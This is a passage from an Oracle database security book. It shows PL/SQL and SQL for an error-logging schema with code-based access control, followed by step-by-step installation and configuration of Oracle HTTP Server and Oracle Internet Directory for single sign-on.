Business Logic Schema We’re setting up some business logic schema to test the API schema. The business logic can be either in the database as we are doing here or external to the database. We are going to set up a package called manage_ emp_pkg that will be used to insert a row into the employees table by calling the hr_api.emp_insert_pkg package. We can easily expand this package to also perform, select, update, and delete. create or replace package hr_bl.manage_emp_pkg authid current_user as   procedure p_ins_emp(p_emp in hr_decls.decl.t_emps); end manage_emp_pkg; / create or replace package body  hr_bl.manage_emp_pkg as -- build a package that --      a) add an employee. Assigns the employee --              to a department and location. --      b) gets employee information by name, --              department or location.

230

Chapter 6

Secure Coding and Design

--      c) determine if the person getting the --              employee information can get ssn --              based on ip address (subnet), roles --              assigned (select_emp_sensitive_role) --              and authentication method.   procedure p_ins_emp(p_emp in hr_decls.decl.t_emps) as   i_id   integer;                          -- the primary key that will                                            -- be returned by the insert proc.   begin     -- for demo purposes, usr1 builds an employee     -- record and calls pinsemp.     -- insert a row into the employees record.     -- do all the business logic then do the insert.     hr_api.emp_insert_pkg.p_ins_emp(p_emp => p_emp, p_id => i_id);     -- print the employee id.     sys.dbms_output.put_line('employee id = ' || to_char(i_id));   end p_ins_emp; end manage_emp_pkg; / Grant execute on the package to exec_hr_emp_code_role. grant execute on hr_bl.manage_emp_pkg to exec_hr_emp_code_role;

Error Handling Talk to any professional hacker, and they will tell you the first thing they try to do is generate errors. The more errors you give a hacker, the more they can learn about your system. So for this reason, it’s a good idea to capture

231

Chapter 6

Secure Coding and Design

errors in a secure store and return only a pointer to the error. For this reason, we’ll create a help schema-only account that will hold the error stack and a help_api schema to populate access the data. Create the help schema. It’ll need an unlimited quota on the encrypted tablespaces enc_dat and enc_idx. The help schema will also need to the create session and create table privileges. sql rlockard@orclpdb1 create user help no authentication default tablespace enc_dat quota unlimited on enc_dat; alter user help quota unlimited on enc_idx; -- grant create session and create table. grant create session to help; grant create table to help; -- create the help_api schema and grant create session and create procedure. create user help_api no authentication; grant create session to help_api; grant create procedure to help_api; For each schema-only account, we need to set up the proxy account so maintenance can be done. Again, we’ll be granting the privilege to the application DBA, rlockard. alter user help grant connect through rlockard; alter user help_api grant connect through rlockard; Connect to the help schema using the proxy user. Then we’re going to create the tables that will hold the error stack. sql> conn rlockard[help]@orclpdb1 -- we need two sequences one for errors and the other for error_lines. 232

Chapter 6

Secure Coding and Design

sql> create sequence help.error_lines_seq; sql> create sequence help.errors_seq; -- Now, let's create the errors table. This will be the parent table of errors. -- after an error stack is created, the primary key returned will be to the -- errors table. sql> create table help.errors (    id number,       username varchar2(128 char),       ip_address varchar2(15 char),       timestamp# timestamp,       edition varchar2(128 char) ) tablespace enc_dat ; -- perform the alter table commands. Create the PK unique index, and make not null -- columns not null. sql> create unique index help.errors_pk on help.errors (id) tablespace enc_idx ; sql> alter table help.errors modify (id not null enable); sql> alter table help.errors modify (username not null enable); -- create the primary key constraint. sql> alter table help.errors add constraint errors_pk primary key (id) using index tablespace enc_idx  enable; -- for some reason, favor. Yes, it's -- typing; however, months or a year

comments on columns have fallen out of more when someone else needs to go back six from

233

Chapter 6

Secure Coding and Design

-- now and need to figure out what a column is used for, then comments really do help -- a lot. We always try to name columns in a way they make sense; however, just -- because a column name makes sense to you, does not mean it will make sense to -- someone else. On another note, if you have a status column that takes codes, please -- put in the comment what the codes are, what they mean, or if your using a lookups -- table, add into the comment the name of the lookups table you'll be using. Thank -- you from everyone who has to maintain your database after you leave for a better -- job. sql> comment on column help.errors.id is 'primary key for the errors table.'; sql> comment on column help.errors.username is 'the user that executed the code.'; sql> comment on column help.errors.ip_address is 'the ip address that the code was executed from.'; sql> comment on column help.errors.timestamp# is 'the timestamp when the code was executed.'; sql> create table help.error_lines (   id            number,     errors_id     number,     dynamic_depth number,     owner         varchar2(128 char),     subprg_name   varchar2(128 char),     error_msg     varchar2(256 char),     error_number  number, 234

Chapter 6

Secure Coding and Design

    plsql_line    number,     lex_depth     number ) tablespace enc_dat; -- create an index on the foreign key column to the errors table. sql> create index help.error_lines_idx on help.error_lines (errors_id) tablespace enc_idx; -- create an index for the primary key. sql> create unique index help.error_lines_pk on help.error_ lines (id) tablespace enc_idx; -- make not null columns, not null sql> alter table help.error_lines modify (id not null enable); sql> alter table help.error_lines modify (errors_id not null enable); sql> alter table help.error_lines modify (dynamic_dept not null enable); -- enable the primary key constraint. sql> alter table help.error_lines add constraint error_lines_pk primary key (id) using index tablespace enc_idx  enable; sql> comment on column help.error_lines.owner is 'the owner of the pl/sql unit that was called.'; sql> comment on column help.error_lines.subprg_name is 'the function,procedure that was called in a package. we are leaving this nullable for now. there is the possibility that a procedure,function,trigger can be called and will not be part of a package.';

235

Chapter 6

Secure Coding and Design

We need to do some grants so the code in the help_api schema can compile. We’ve said this before and will say it again. There are some subtle things you need to understand about grants on objects to another schema. For the code to compile the privilege (select, update, insert, or delete), it must be directly granted as opposed to granting through a role. This is because roles are evaluated when you connect to the database. After we get the code to compile, we’ll set up granting the package the privileges needed to access the help objects through a role. In our error handler, there are only two types of DML we need to do, select and insert. Errors don’t change, so we don’t need to worry about that, and quite frankly, we can set up a purge job that can clean out the errors and error_lines tables. grant grant grant grant

select, insert on help.errors to help_api; select, insert on help.error_lines to help_api; select on help.errors_seq to help_api; select on help.error_lines_seq to help_api;

Connect to the help_api schema to create the packages. sql> conn rlockard[help_api]@orclpdb1 -- create the package. we're going to make this authid current_ user -- to support CBAC (Code Based Access Control) create or replace package  help_api.errorstack_pkg authid current_user as     procedure main(p_error_id    out integer); end errorstack_pkg; /

236

Chapter 6

Secure Coding and Design

create or replace package body  help_api.errorstack_pkg as     -- this procedure will get the stack values for each call in the stack.     -- we are not exposing this to the specification because it will only     -- be used internal to this package. because of this, we are forward     -- defining it.     procedure p_call_stack_main(p_error_id in integer) is         i_depth             integer;        -- the error stack depth         i_line_id           integer;        -- the error_line pk.         i_error_number      integer;        -- The Error number         s_error_msg         varchar2(256);  -- The Error Message         s_sub_program       varchar2(128);  -- sub program name     begin         for i_depth in reverse 1 .. sys.utl_call_stack.dynamic_ depth()         loop             -- the assignments in this block don't seem to play well in the             -- insert statement. So, we moved them into a block. In my copious             -- free time, figure out why they don't play well in an insert statement.             begin                s_sub_program  := sys.utl_call_stack.concatenate_ subprogram(                utl_call_stack.subprogram(i_depth));                i_error_number := sys.utl_call_stack.error_ number(i_depth); 237

Chapter 6

Secure Coding and Design

              s_error_msg    := sys.utl_call_stack.error_msg (i_depth);               -- this exception is to be expected when there are no errors .             -- in the stack.             exception when others then               i_error_number := 0;               s_error_msg := null;             end;             -- get the next sequence number.             select help.error_lines_seq.nextval             into i_line_id             from dual;             -- insert the line into help.error_lines.             insert into help.error_lines values (                     i_line_id,       -- primary key                     p_error_id,      -- fk to help.errors.                     i_depth,         -- dynamic_depth                     sys.utl_call_stack.owner(i_depth),                  -- pl/sql unit owner                     s_sub_program,   -- pl/sql unit and sub program 1st value.                     s_error_msg,     -- error message                     i_error_number,  -- error number                     sys.utl_call_stack.unit_line(i_depth),                  -- pl/sql line number                     sys.utl_call_stack.lexical_depth(i_depth)                  -- lexical depth                     );         end loop;         commit; 238

Chapter 6

Secure Coding and Design

    end p_call_stack_main;     -- the main calling procedure for the error stack package.     procedure main (p_error_id out integer)is     pragma autonomous_transaction;     --i_error_id    integer;        -- help.errors pk.     begin         -- get the next sequence for errors.         select help.errors_seq.nextval         into p_error_id         from dual;         -- create the base error in help.errors table.         insert into help.errors values (p_error_id, -- help.errors pk                              sys_context('userenv', 'session_user'),                             sys_context('userenv', 'ip_address'),                             current_timestamp,                              sys_context('userenv','current_ edition_name')                             );         --  populate the error_lines table using p_call_stack_main.         p_call_stack_main(p_error_id => p_error_id);         -- commit the transaction sense this is an autonomous transaction         --  we are not worried about the commit having side effects.         commit;         -- return the error id. this is done through the out         -- parameter p_error_id. so there is not going to be a         -- formal return statement.     end main; end errorstack_pkg; / 239

Chapter 6

Secure Coding and Design

Now connect again as the DBA to create the required roles with grants on help.errors and help.error_lines. This first role, help_desk_insert, will be used to populate the error tables. Here is a subtlety about using sequences: to get the next sequence number and increment it, the role requires the select privilege on the sequence. sql> sql> sql> sql> sql> sql>

conn rlockard@orclpdb1 create role help_desk_insert_rol; grant insert on help.errors to help_desk_insert_rol; grant insert on help.error_lines to help_desk_insert_rol; grant select on help.errors_seq to help_desk_insert_rol; grant select on help.error_lines_seq to help_desk_insert_rol;

-- the next role will be used to extract data from the errors table. sql> create role help_desk_select_rol; sql> grant select on help.errors to help_desk_select_rol; sql> grant select on help.error_lines to help_desk_select_rol; Now we’re going to grant to roles the help_api schema with delegate option. Again, we can use the SYS account or grant with the admin option; however, it’s a bad idea to do work in the SYS account, and if you use the admin option, you’re giving the schema too much privileges. Using delegate option allows the required action without granting too many privileges to the help_api schema. sql> grant help_desk_insert_rol to help_api with delegate option; sql> grant help_desk_select_rol to help_api with delegate option; Because roles are evaluated on connect, you must reconnect to the help_api schema to grant the role help_desk_insert_rol to the errorstack_pkg. So, if you keep multiple PuTTY sessions open and switch between them to do your work, this is where you’ll need to disconnect from your help_api session and reconnect. Otherwise, the grant will not work.

240

Chapter 6

Secure Coding and Design

$ sql rlockard[help_api]@orclpdb1 sql> grant help_desk_insert_rol to package errorstack_pkg; We need to grant execute on the errorstack_pkg package either to a role or to public. In this case, we’re going to grant execute to public, so anyone who generates an error will be able to call the package and get the pointer (primary key) of the error. sql> grant execute on help_api.errorstack_pkg to public; Connect as test_user1 and write some code we know will generate an exception. sql> conn test_user1@orclpdb1 sql> set serveroutput on sql> create procedure test_user1.x as x          integer; -- just a dumb variable i_error_id integer; -- to capture the error primary key. begin   -- this statement will generate two errors, 1) trying to put a string into an   -- integer and 2) too many rows, trying to put many values into one variable.   select username   into x   from all_users; exception when others then   help_api.errorstack_pkg.main(i_error_id);   -- let the user know we have an error. The user will get the primary key to the   -- help.errors table that can be used to find out what the error stack is. Again,

241

Chapter 6

Secure Coding and Design

  -- the beauty of this is the error id will change for each error. An attacker has   -- no way to learn anything about what the error is to fine tune their attack.   sys.dbms_output.put_line('oh crap, we got an error : -( ' || to_char(i_error_id)); end; / Let’s create the package to get the errors out. Again, we’ll be using CBAC, and we’ll be returning the errors in JSON format. Connect to a user who can proxy connect to the help_api schema. sql> conn rlockard@orclpdb1 --- start with the package specification. The json document will be -- returned in a clob (character large object) sql> create or replace package help_api.get_errors_pkg authid current_user as   function f_get_error(p_error_id in number) return clob; end get_errors_pkg; / sql> create or replace package body help_api.get_errors_pkg as   function f_get_error(p_error_id in number) return clob is   json_clob     clob;   cursor error_cur is     select json_object('id'            value e.id,                        'username'      value e.username,                        'ip_address'    value e.ip_address,                        'timestamp'     value e.timestamp#,                        'edition'       value e.edition, 242

Chapter 6

Secure Coding and Design

                       'errors_id'     value l.errors_id,                        'dynamic_depth' value l.dynamic_depth,                        'owner'         value l.owner,                        'subprg_name'   value l.subprg_name,                        'error_msg'     value l.error_msg,                        'error_number'  value l.error_number,                        'plsql_line'    value l.plsql_line,                        'lex_depth'     value l.lex_depth) err     from help.errors e,          help.error_lines l     where e.id = l.errors_id       and e.id = p_error_id;   begin     for error_rec in error_cur     loop       json_clob := json_clob || error_rec.err;     end loop;     return json_clob;   end f_get_error; end get_errors_pkg; / Connect to help_api and grant help_desk_select_rol to the get_ errors_pkg. sql> conn rlockard[help_api]@orclpdb1 sql> grant help_desk_select_rol to package get_errors_pkg; -- now we want to narrow down who can get the errors data. -- for this we are going to create a help desk role that will -- have execute privileges on the errors_pkg. -- connect as the dba account to create the help desk role. sql> conn rlockard@orclpdb1

243

Chapter 6

Secure Coding and Design

sql> create role help_desk_rol; --now we'll grant the help desk role to a help desk user. sql> create user help_user1 identified by DontTellAnyoneMyPassword; sql> grant create session, help_desk_rol to help_user1; sql> grant execute on help_api.get_errors_pkg to help_desk_rol;

Summary We have now implemented the important parts of the trusted path. These features should be taken as a whole. Separate your data from your code. Whitelist what can call a package. Use schema-only accounts. Build APIs into your data and keep your APIs focused. Use code-based access control, because if you’ve done this, you don’t have to grant select, update, insert, or delete to a user ever again. The user does not need these privileges; they need to be able to execute code that will let them do their job.

244

CHAPTER 7

Single Sign-On Usernames and passwords are the main targets of any attack, Every time a user logs into a system, the user will access the operating system with a username and password. If they access another application, they will probably use a different username and password. This will increase the possibility of forgetting how to authenticate or even writing down the passwords, which can cause password leak. Single sign-on (SSO) reduces the number of attacks because users log in only once each day and can use one username and password combination for all the participating applications. In other words, SSO refers to the ability of employees and clients to log into a system once and get access to all the applications provided by the company as well as the data that the user has permission to access, such as on the web site, in ERP systems, and in different types of applications. SSO provides users with fast access to systems and applications by automating the authentications for each application, which increases the security layer by managing the application passwords. SSO offers different benefits for companies. •

Increases productivity: SSO allows users to gain quick access from any location.



Eliminates forgetting the password: There’s only one password to remember.



Stores all the passwords in one location: It eliminates the need to manually manage passwords.

© Osama Mustafa, Robert P. Lockard 2019 O. Mustafa and R. P. Lockard, Oracle Database Application Security, https://doi.org/10.1007/978-1-4842-5367-0_7

245

Chapter 7

Single Sign-On



Improves security layer: It prevents unauthorized users from accessing the system and manages the passwords manually for each application.



Simplifies the administration: It controls all the application passwords from a single console.

Oracle provides a single sign-on solution and has different products to complete the cycle, such as the following: •

Oracle Internet Directory (OID)



Oracle Access Manager (OAM)



Oracle Identify Management (OIM)



Oracle Unified Directory (OUM)



Oracle Webgate

Every reader should know that the architecture depends on the implementation and setup in a company, which means you don’t have to use all these products to provide your SSO solution.

SSO Terms and Concepts You should understand the following SSO terms and concepts before starting the chapter: •

Authentication •

246

This means validating who you are and your credentials. There are different types, such as usernames/passwords, HTTP authentication, and X.509 certificates.

Chapter 7



Authorization •



This is a concept in WebLogic, and it’s used to define a collection of users and groups, which allows the administrator to create a provider to integrate it with other products such as Active Directory, OID, and OAM.

User management •



This is a module on the HTTP server, which allows requests to be proxied from the HTTP server to the WebLogic server.

Security realm •



This is what comes after authentication, and it’s the function that defines the access rights/privileges for the user or resource.

mod_wl_ohs •



Single Sign-On

This means displaying, creating, updating, or deleting the user information from the repository, which is usually OID.

OID DAS •

Delegated Administration Services (DAS) is a web-­ based application used for administration and for normal users to update their passwords or their records. For the administration, the administrator can create a new user, lock/unlock a password, delete a user, and much more.

247

Chapter 7



Single Sign-On

Data synchronization •



SSO stores the information of a user inside OID. Once the provider is created in WebLogic, this data will be synced as read-only.

LDAP Data Interchange Format (LDIF) script •

This used to build the initial directory database also it’s used to describe the changes in the directory, you can create LDIF files using virtually any language and all the directory data is stored the UTF-8 encoding.

Each SSO Oracle product has a purpose in completing the SSO cycle, but again you don’t have to use them all together. For example, some companies integrate WebLogic directly with OID; others need to have authentication and authorization. Therefore, they use OAM, OID, and maybe OIM. The SSO architecture is variable and depends on the company needs; Figure 7-1 shows one example of the SSO setup.

248

Chapter 7

Single Sign-On

Figure 7-1.  One type of SSO topology Figure 7-1 shows an Oracle SSO system that contains the following components: •

The Oracle Internet Directory (OID) server is used to store the users and groups, roles, and security information.



Oracle Access Manager (OAM) is used to authenticate the user and create SSO session cookies.



The Oracle web server/HTTP server is used as a front end to the system and usually is implemented on different DMZ networks and redirected to target servers. 249

Chapter 7

Single Sign-On



Oracle Webgate is a web server plug-in for Oracle Access Manager that intercepts HTTP requests and forwards them to the access server for authentication and authorization.



WebLogic is used to deploy OAM and OID since it’s considered as part of the Fusion Middleware family and to create provider on it.

Furthermore, Figure 7-1 shows how the process looks inside the single sign-on. The user connects and requests the services from the HTTP server (OHS); in the background, the request is sent to the OAM server, which will be integrated with the OID server to check the username and password. At the same time, the redirect cookie is sent from OAM to the user, and then the response is sent from OID to OAM and then to the user. Whether it is valid or invalid depends on user inputs. This part of the cycle is not finished yet since the cookie still valid and OAM has to check the authorization policy for each user after a successful login to see whether they are authorized to access this application or not.

I nstallation and Configuration Once we start the installation for SSO, we prefer to keep the work organized from the bottom to upper levels, starting with the database, the OID, and then OAM until we will reach Oracle HTTP Server and Webgate.

Oracle Webgate Installation and Configuration Configuring Oracle Webgate for OAM requires multiple steps, starting with installing Oracle HTTP Server. The Oracle recommendation is to install each product (Webgate, OIM, OAM, and OID) on a separate server, especially if you have an enterprise deployment. For testing purposes, you should have a high-specs server to accommodate all these products. 250

Chapter 7

Single Sign-On

One of the most important steps for installing any products is to check the matrix certification provided by Oracle for each Fusion Middleware product to avoid any future misconfigurations. Before installing any Fusion Middleware, Java should be installed. Each Fusion Middleware version has a supported and certified Java version. We will use HTTP Server 12c, so the Java version will be 8. Figure 7-2 shows how to start installing Oracle HTTP Server. Note that the path is different from one environment to another. To start, we’ll show you how to install on Unix (./fmw_12.2.1.1.0_ ohs_linux64.bin) and Windows (setup_fmw_12.2.1.3.0_ohs_win64. exe). These steps are for installing the binary only; the next step will be the configuration.

Figure 7-2.  Oracle HTTP Server, welcome screen 251

Chapter 7

Single Sign-On

If the installation directory does not exist, the installer will create the specified directory. If the directory does exist, you can choose it from the drop-down list. See Figure 7-3.

Figure 7-3.  Oracle HTTP Server, installation location There are two different types of installation. Each one of them depends on which products and features you want. Once you click one any of the options, the screen will explain which products will be installed inside the directory. See Figure 7-4.

252

Chapter 7

Single Sign-On

Figure 7-4.  Oracle HTTP Server installation type The next screen checks the host or the server of the products to ensure that the operating system is certified and the Java version is certified. If you any of missing prerequisites, this screen will fail, and either you stop or skip. See Figure 7-5.

253

Chapter 7

Single Sign-On

Figure 7-5.  Oracle HTTP Server prerequisite checks If you would like to register your installation, you can enter your Oracle Support username and password (see Figure 7-6); if you don’t want to do that, uncheck the box and click Next.

254

Chapter 7

Single Sign-On

Figure 7-6.  Oracle HTTP Server security update Finally, the installation summary will be the last screen; review your installation and click Next. See Figure 7-7.

255

Chapter 7

Single Sign-On

Figure 7-7.  Oracle HTTP Server installation progress The previous steps will install Oracle HTTP Server without any configuration. The next step is create and configure the OHS instance. To avoid repeating instructions throughout this chapter, please check the following:

256



If each component is installed separately, Oracle WebLogic and Java should be installed on each server.



The binary for each product will be installed by running the installer and then following the on-screen prompts. This chapter will focus on configuration; also, we will share an example binary installation for OHS.

Chapter 7

Single Sign-On



Before installing OID and OAM, there is additional step, which is for the Repository Creation Utility (RCU). RCU should be run to configure users and tablespaces on the database.



If you are planning to configure RCU in 11g Fusion Middleware, then RCU should be downloaded separately from the Oracle web site. With 12c, it will be installed once the binary installation has finished.



The 12c installation for WebLogic is fmw_12.2.1.3.0_ infrastructure.jar. For 11g it’s wls1036_generic. jar. Run the following command: java –jar fmw_12.2.1.3.0_infrastructure.jar

The configuration for the OHS is done with these steps: •

cd $MW_HOME/oracle_common/common/bin



Run the following script: •

Linux: ./config.sh



Windows: config.exe

There are two new options. You can choose to create a new domain if you want to create a new one or you don’t have any other option. The second option is to update the existing domain in the environment and add an OHS. See Figure 7-8.

257

Chapter 7

Single Sign-On

Figure 7-8.  Creating the OHS domain Figure 7-9 shows the Templates screen, which is used to install and create the OHS instance.

258

Chapter 7

Single Sign-On

Figure 7-9.  OHS template The Java version is one of the most important parts for Fusion Middleware. Make sure to check the Java certification matrix for your Fusion Middleware version. See Figure 7-10.

259

Chapter 7

Single Sign-On

Figure 7-10.  Java version and location Create an OHS component, and don’t change the ports until you check with the system admin/network administration about the availability of them. Otherwise, the OHS will not be up because the port is in use. See Figure 7-11.

260

Chapter 7

Single Sign-On

Figure 7-11.  OHS components type Figure 7-12 contains attributes such as the server IP, server name, and listen port, which is by default 7777.

261

Chapter 7

Single Sign-On

Figure 7-12.  OHS server configuration Node Manager, shown in Figure 7-13, is the component that allows the administrators to communicate with the console and to run the commands in the GUI. In addition, it allows administrators to manage servers to communicate with the WebLogic server. This screen creates Node Manager either in the default location or a custom location. With 12c you have to set a password for Node Manager.

262

Chapter 7

Single Sign-On

Figure 7-13.  Node Manager configuration The Configuration Summary screen, shown in Figure 7-14, describes the final domain setup. Click Create once you are done.

263

Chapter 7

Single Sign-On

Figure 7-14.  Installation summary

Oracle Internet Directory Installation Part of Fusion Middleware, Oracle Internet Directory is an online directory responsible for storing and retrieving collections of information, such as usernames, credentials, and shared resources. The clients or applications communicate with OID by using the Lightweight Directory Access Protocol (LDAP), and they communicate via the default port 389 and SSL/TLS 636. OID is a centralized management solution that controls the users and can be integrated with different third-­ party applications such Active Directory. There are different concepts that administrators should know about when dealing with OID. These concepts will be used in the OID console.

264

Chapter 7



Directory entries •



These directories are logical. The purpose of these directories is to reduce the amount of work on one server and to distribute the work among different server.

Attributes •



This is one entry that contains a collection of information such as information about an employee, a department, and so on. Within this concept, the distinguished name (DN) tells you exactly where the entry resides in the directory hierarchy.

Distributed directories •



Single Sign-On

Attributes are information for one entity, such as an employee e-mail address, employee password, and employee phone number.

Object classes •

This is a group of attributes that define the structure of an entry. The administration defines these object classes and assigns different attributes to this group. Some of them are mandatory and must have values; others are optional and can be empty.

The software installation is not any different from any other Oracle software. Therefore we will focus on configuration. The first part after installing WebLogic and the OID software is to run and create the Repository Creation Utility for the Fusion Middleware product. In previous releases such as 11g, you had to download the RCU and follow the screen prompts. Within newer releases such as 12c, the RCU is already installed. Once the software is installed, this will create the required schemas on a certified database for use with this release of Oracle Fusion Middleware. 265

Chapter 7

Single Sign-On

Configure the Repository Creation Utility To start the RCU, follow these steps: 1. Verify that the JDK exists on the server and make sure it’s certified by checking the version. java -version 2. Ensure that the JAVA Home points to the right location to avoid any issue with RCU creation. Linux/Unix: export JAVA_HOME=/u01/app/ jdk1.8.0_131 Windows: set JAVA_HOME=c:\jdk1.8.0_131 3. After the software installation, in our case OID, change to the following directory: Linux/Unix: ORACLE_HOME/oracle_common/bin Windows: ORACLE_HOME\oracle_common\bin 4. Run the following command: Linux/Unix: ./rcu Windows: rcu.bat 5. The welcome screen is the first screen that appears in Oracle products. See Figure 7-15.

266

Chapter 7

Single Sign-On

Figure 7-15.  RCU welcome screen 6. On this screen, select the type of installation you want. Each one of the options is used for different cases like the following (Figure 7-16): •

System load and product load: Select this if you have the necessary permissions and privileges to perform DBA activities on your database.

267

Chapter 7

Single Sign-On



Prepare scripts for system load: If you do not have the necessary permissions or privileges to perform DBA activities in the database, the script should be provided to the DBA. After running the script, you must run the RCU again and choose Perform Product Load.



Drop repository: Delete the schema, which has been created before.

Figure 7-16.  RCU installation type

268

Chapter 7

Single Sign-On

7. Provide the database connection and the following details: host name (either IP or server name), Listener port, database service name, and username and password (must have DBA privileges). RCU supports different database types. The valid options are Oracle, IBM DB2, and SQL Server. See Figure 7-17.

Figure 7-17.  RCU database connection 8. Check the database certification and database connection. See Figure 7-18.

269

Chapter 7

Single Sign-On

Figure 7-18.  Checking prerequisites 9. Figure 7-19 allows you to choose the prefix for the Fusion Middleware schema. Once you choose OID, the metadata will be checked. Choose the prefix depending on your environment; for example, for the test environment, choose TST. What if there is another prefix in the database? In the same figure, you will notice PROD2, which indicates another prefix exists in the same database and is used for another Fusion Middleware configuration.

270

Chapter 7

Single Sign-On

Figure 7-19.  OID database prefix 10. Now check the prerequisites. See Figure 7-20.

271

Chapter 7

Single Sign-On

Figure 7-20.  Schema component prerequisites 11. Specify how you want to set the schema passwords on your database, and then enter and confirm your passwords. Either you choose the same passwords for all schemas or you choose different passwords for each schema. See Figure 7-21.

272

Chapter 7

Single Sign-On

Figure 7-21.  Schema passwords Figure 7-22 shows the information about the created schema, such as the components for each schema and the default tablespace for the schema that is included with the temporary tablespace.

273

Chapter 7

Single Sign-On

Figure 7-22.  Schema mapping Figure 7-23 shows that the schema tablespace creation is in progress. Click OK once it’s completed.

274

Chapter 7

Single Sign-On

Figure 7-23.  Creation in progress Once this step is done, the summary page will show all the information about the schema and database.

Configure the OID Domain For the Oracle Internet Directory domain, the configuration wizard will be used. To start the configuration wizard, follow these steps: 1. Change to the following directory: Linux/Unix: ORACLE_HOME/oracle_common/common/ bin Windows: ORACLE_HOME\oracle_common\common\bin

275

Chapter 7

Single Sign-On

2. Once the path has been changed, run the following command: Linux/UNIX: ./config.sh Windows: config.cmd Figure 7-24 shows you two options. You can create a new domain if you want, or you can update the existing domain.

Figure 7-24.  Creating an OID domain

276

Chapter 7

Single Sign-On

Some of the options on this screen have dependencies. If you will install OID stand-alone, then choose Oracle Internet Directory (Standalone) - 12.2.1.3.0 [oid]. For collocated mode, choose Oracle Internet Directory (Collocated) -12.2.1.3.0 [oid]. Once you click, some other options will be checked. Finally, if you will use OID and ODIP in the same domain, then choose Oracle Directory Integration Platform 12.2.1.3.0 [dip]. See Figure 7-25.

Figure 7-25.  OID domain template

277

Chapter 7

Single Sign-On

Figure 7-26 shows the application location for the domain.

Figure 7-26.  Application location Enter the WebLogic password and save it; click Next (Figure 7-27).

278

Chapter 7

Single Sign-On

Figure 7-27.  WebLogic password Check the Java location and make sure it’s certified with the current version of OID (Figure 7-28).

279

Chapter 7

Single Sign-On

Figure 7-28.  Java location Figure 7-29 is related to the RCU that has been created before; enter the information such as the database type, host name/server IP, listener port, and schema owner. The default username is prefix_STB, where prefix is the custom prefix that you defined in the RCU. Once the information is entered, click Next.

280

Chapter 7

Single Sign-On

Figure 7-29.  RCU database configuration In Figure 7-30, enter the details for database configuration, such as the host name/server IP, Listener port, and service name for the database, and click Next to test the connection. Make sure you enter valid information for the RCU that has been created before.

281

Chapter 7

Single Sign-On

Figure 7-30.  Component database configuration The Advanced Configuration screen (Figure 7-31) allows you to choose what you will configure next, such as the administration server, Node Manager, and management server. You can uncheck everything and leave everything at the defaults to skip to configuration summary.

282

Chapter 7

Single Sign-On

Figure 7-31.  Domain advanced configuration The admin server/WebLogic console is where you administrate the whole environment and where OID will be deployed as a managed server. Provide the correct information such as the server IP and listening port; usually it is the same information where you installed OID. See Figure 7-­32.

283

Chapter 7

Single Sign-On

Figure 7-32.  Admin server configuration As discussed earlier, Node Manager is the communication tool between the admin server and management server and allows you to administrate everything. You have two options: either create a custom location for Node Manager or specify the default location. Then set the username and password to control Node Manager. See Figure 7-33.

284

Chapter 7

Single Sign-On

Figure 7-33.  OID Node Manager configuration The manager server is what is deployed under the admin server and allows you to access OID or Oracle Directory Services Manager (ODSM). The server name is what will you see on the admin server. See Figure 7-34.

285

Chapter 7

Single Sign-On

Figure 7-34.  OID management server configuration You can skip this screen if you don’t have a cluster. Otherwise, the cluster can be created using the configuration wizard. On the server template screen, which is the next page, we don’t have any server template; therefore, click Next and skip the screen. See Figure 7-35.

286

Chapter 7

Single Sign-On

Figure 7-35.  Cluster configuration A coherence cluster is a collection of JVM processes. At runtime, JVM processes that run coherence automatically join the cluster. Leave these options at their defaults and skip this screen. See Figure 7-36.

287

Chapter 7

Single Sign-On

Figure 7-36.  Coherence cluster A machine is required so that Node Manager can start and stop servers. To create a high availability environment, you must enter all the machines in the screen shown in Figure 7-37.

288

Chapter 7

Single Sign-On

Figure 7-37.  WebLogic machine configuration Use the Assign Servers to Machines screen (Figure 7-38) to assign the administration server to the default machine oidhost1 that is listed. You can skip the virtual target and partition part.

289

Chapter 7

Single Sign-On

Figure 7-38.  Assigning servers to Oracle Internet Directory machines Click Next; review the summary and then start the configuration. See Figure 7-39.

290

Chapter 7

Single Sign-On

Figure 7-39.  After assigning servers to Oracle Internet Directory machines You’ll see the progress. See Figure 7-40.

291

Chapter 7

Single Sign-On

Figure 7-40.  Installation in progress After creating the domain, start the environment by running the following scripts.

Start Node Manager To start Node Manager, use this:

292



Linux/Unix: DOMAIN_HOME/bin/startNodeManager.sh



Windows: DOMAIN_HOME\bin\startNodeManager.cmd

Chapter 7

Single Sign-On

Start the Administration Server To start the administration server, use this: •

Linux/Unix: DOMAIN_HOME/bin/ startWebLogic.sh



Windows: DOMAIN_HOME\bin\ startWebLogic.cmd

Start the Managed Servers To start the managed server, there are two options: run the scripts from the terminal or GUI, which will be mentioned later in this chapter. •

Linux/Unix: DOMAIN_HOME/bin/ startManageWebLogic.sh managed_server_name



Windows: DOMAIN_HOME\bin\ startManageWebLogic. cmd managed_server_name

OID Links Here are some OID links: •

Admin server: https://hostname:7001/console



ODSM console: http://hostname:7001/odsm



Enterprise Manager: http://hostname:7001/em

Also, start Node Manager by running DOMAIN_HOME/bin/ startNodeManager.sh.

293

Chapter 7

Single Sign-On

Initial Setup for OID After the Oracle Internet Directory installation is done, you still have one more step, which is to create the OID instance that will be responsible for connecting the database. To do that, we have to use wlst.sh; follow these steps: 1. Change to the following directory: ORACLE_HOME/oracle_common/common/bin ./wlst.sh 2. The wlst.sh file allows you to administrate the admin server using the command line. Connect to the admin server using these commands: nmConnect(username='weblogic_user', password='password', domainName='base_domain') Once this is done, you are now connecting to the admin server. Using wlst.sh is tricky, and you have to be careful using this tool, since anything you are doing here is affecting your environment; however, you can run the oid_setup() command to create the initial oid1 instance. Using this script is simple and needs only the orcladmin user password (the admin user in OID) and ODS password (the user for ODSM). oid_setup(orcladminPassword='password',odsPassword= 'password',realmDN='dc=us,dc=oracle,dc=com') Set the password and remember it; otherwise, you have to reset it. Once the command is done, the oid1 instance will be created. We set the password to orcladmin; the oid1 instance is working on port 3060.

294

Chapter 7

Single Sign-On

3. When the previous command completes successfully, you can check the created instance by using this: oid_listInstances() For more details about the instance such as the port and host, use this: oid_getProperties() 4. Exit from wlst.sh by quit() and test your work by using the ldapbind command. ORACLE_HOME/bin/ldapbind -h OID_HOST -p OID_PORT As mentioned earlier in this chapter, ODSM is one of the main parts of OID. Within any SSO configuration and any products or application, you will use ODSM to manage the users and groups. Accessing the ODSM via the previously mentioned link depends on the environment; the administrator for this console is orcladmin. In the upper-right corner, click Connect to Directory. See Figure 7-41.

Figure 7-41.  ODSM main page

295

Chapter 7

Single Sign-On

Enter some valid information, such as the name of connection, the server host name, the port (by default 3060), and the username and password. You can connect using orcladmin or WebLogic. See Figure 7-42.

Figure 7-42.  Creating a connection via ODSM

